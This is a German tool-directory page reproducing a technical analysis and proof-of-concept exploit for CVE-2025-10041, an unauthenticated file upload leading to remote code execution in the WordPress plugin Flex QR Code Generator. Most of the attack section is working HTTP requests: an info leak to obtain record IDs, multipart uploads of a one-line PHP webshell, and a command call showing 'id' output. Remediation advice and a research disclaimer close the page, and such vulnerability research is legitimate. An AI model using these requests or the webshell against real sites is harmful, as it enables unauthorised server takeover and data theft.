Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
WordPress-Flex-QR-Code-Generator---CVE-2025-10041 — Technische Analyse und Proof-of-Concept-Exploit für CVE-2025-10041, ein nicht authentifizierter beliebiger Datei-Upload, der zu Remote-Code-Ausführung im WordPress-Plugin Flex QR Code Generator führt. | Kitploit
Tools/GitHubGitHub/kai-one001/wordpress-flex-qr-code-generator---cve-2025-10041
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubkai-one001/wordpress-flex-qr-code-generator---cve-2025-10041

WordPress-Flex-QR-Code-Generator---CVE-2025-10041

Technische Analyse und Proof-of-Concept-Exploit für CVE-2025-10041, ein nicht authentifizierter beliebiger Datei-Upload, der zu Remote-Code-Ausführung im WordPress-Plugin Flex QR Code Generator führt.

Repository anzeigen
vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-10041: Analyse der Schwachstelle für beliebigen Datei-Upload im Flex QR Code Generator Plugin


1. Überblick über die Schwachstelle

  • Plugin-Name: Flex QR Code Generator
  • Betroffene Versionen: ≤ 1.2.5 (alle Versionen)
  • Schwachstellentyp: Beliebiger Datei-Upload → Remote Code Execution (RCE)
  • Ausnutzungsbedingungen: Keine Anmeldung erforderlich, nicht autorisierter Zugriff
  • Grundursache: Die Datei-Upload-Funktion prüft weder die Dateierweiterung noch den MIME-Typ, und die Schnittstelle kann von nicht authentifizierten Benutzern aufgerufen werden.

2. Reproduktion der Schwachstelle

  • Nr. 1 Informationsleak + Update-Hook zur Erzielung von RCE:

1. Angriffskette im Überblick

root@kitploit:~
Nicht autorisiertes Abrufen der ID → Aufruf der Update-Schnittstelle zum Hochladen einer PHP-Datei → Zugriff auf Webshell → RCE

2. Schritt 1: Informationsleak zum Abrufen der ID

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded

per_page=50&page=1

In der Antwort kann eine gültige id (z. B. 9) und der logo_url-Pfad abgerufen werden.

root@kitploit:~
{
    "success": true,
    "data": {
        "qrCodes": [{
            "id": "9",
            "qr_name": null,
            "text": "",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
            "created_at": "2025-10-16 11:16:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
        },
        {
            "id": "8",
            "qr_name": null,
            "text": "https:\/\/example.com",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"data\":\"https:\/\/example.com\"}",
            "created_at": "2025-10-16 11:01:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
        }], "totalItems": "9"
}
}

3. Schritt 2: Update zum Hochladen der WebShell

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"

9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream

AiErBuDe
------WebKitFormBoundaryABC123--

✅ Die Antwort success: true zeigt an, dass der Upload erfolgreich war.

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code updated successfully.",
        "id": 9,
        "finalUrl": "https:\/\/example.com"
    }
}

4. Schritt 3: Zugriff auf die Testdatei

Dateipfadformat: {original_name}_{id}.php

root@kitploit:~
GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

Der Server gibt den Dateiinhalt zurück

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8

AiErBuDe
  • Nr. 2 Nicht autorisierter Datei-Upload + Erzielung von RCE:

1. Angriffskette im Überblick

root@kitploit:~
Nicht autorisierter Zugriff auf die Schnittstelle zum Hochladen einer schädlichen Datei → Zugriff auf Webshell → RCE

2. Schritt 1: Hochladen einer schädlichen Datei über die Schnittstelle

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: wp_nonce=884957; test=1337
Content-Length: 536

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"

flexqr_save_qr
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"qrName":"shell","qrDesc":"bypass","qrData":"https://evil.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="AiErBuDe.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--

In der Antwort kann eine gültige id (z. B. 10) und das success-Ergebnis abgerufen werden

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code saved successfully.",
        "id": 10,
        "finalUrl": ""
    }
}

3. Schritt 3: Zugriff auf die WEBSHELL zur Befehlsausführung

root@kitploit:~
GET /wp-content/uploads/2025/10/AiErBuDe_10.php?cmd=id HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

✅ Der Server gibt das Ergebnis der Befehlsausführung zurück, RCE war erfolgreich.

root@kitploit:~
HTTP / 1.1 200 OK Date: Thu,
16 Oct 2025 15 : 52 : 37 GMT Server: Apache / 2.4.59(Debian) X - Powered - By: PHP / 8.2.21 Vary: Accept - Encoding Content - Type: text / html;
charset = UTF - 8 Content - Length: 54

uid = 33(www - data) gid = 33(www - data) groups = 33(www - data)

3. Funktionsprinzip der Schwachstelle

1. Schwachstellen-Funktionen

  • Datei: flex-qr-code-generator/qr-code-generator.php
  • Funktionen: save_qr_code_to_db() und update_qr_code()

2. Kritische Schwachstellen

  • Es wird nur $_FILES['logo']['error'] === UPLOAD_ERR_OK geprüft
  • Keine Prüfung der Dateierweiterung oder des MIME-Typs
  • Dateiname steuerbar: {original_name}_{id}.ext, id ist ein auto-increment Primärschlüssel

3. Nicht autorisierter Aufruf

Über wp_ajax_nopriv_-Hooks registriert, kann die Schnittstelle von nicht angemeldeten Benutzern aufgerufen werden:

root@kitploit:~
add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);

nopriv bedeutet „keine Berechtigungsanforderung“, Angreifer können sie ohne Anmeldung aufrufen.


4. Empfehlungen zur Behebung

MaßnahmeBeschreibung
✅ Zugriffskontrollenopriv-Hooks entfernen, nur Administratoren erlauben
✅ Dateityp-ValidierungWhitelist zur Begrenzung der Erweiterungen (z. B. jpg/png/gif)
✅ PHP-Ausführung verbietenPHP-Ausführung in uploads/.htaccess verbieten
✅ Datei umbenennenZufällige Dateinamen verwenden, um Raten zu vermeiden
✅ Plugin aktualisierenOffizielle Updates verfolgen und zeitnah aktualisieren

Haftungsausschluss

Dieser Artikel dient ausschließlich der Sicherheitsforschung und zu Lehrzwecken. Nicht autorisierte Penetrationstests oder Angriffsaktionen sind untersagt. Benutzer müssen die einschlägigen Gesetze und Vorschriften einhalten.

Tool herunterladen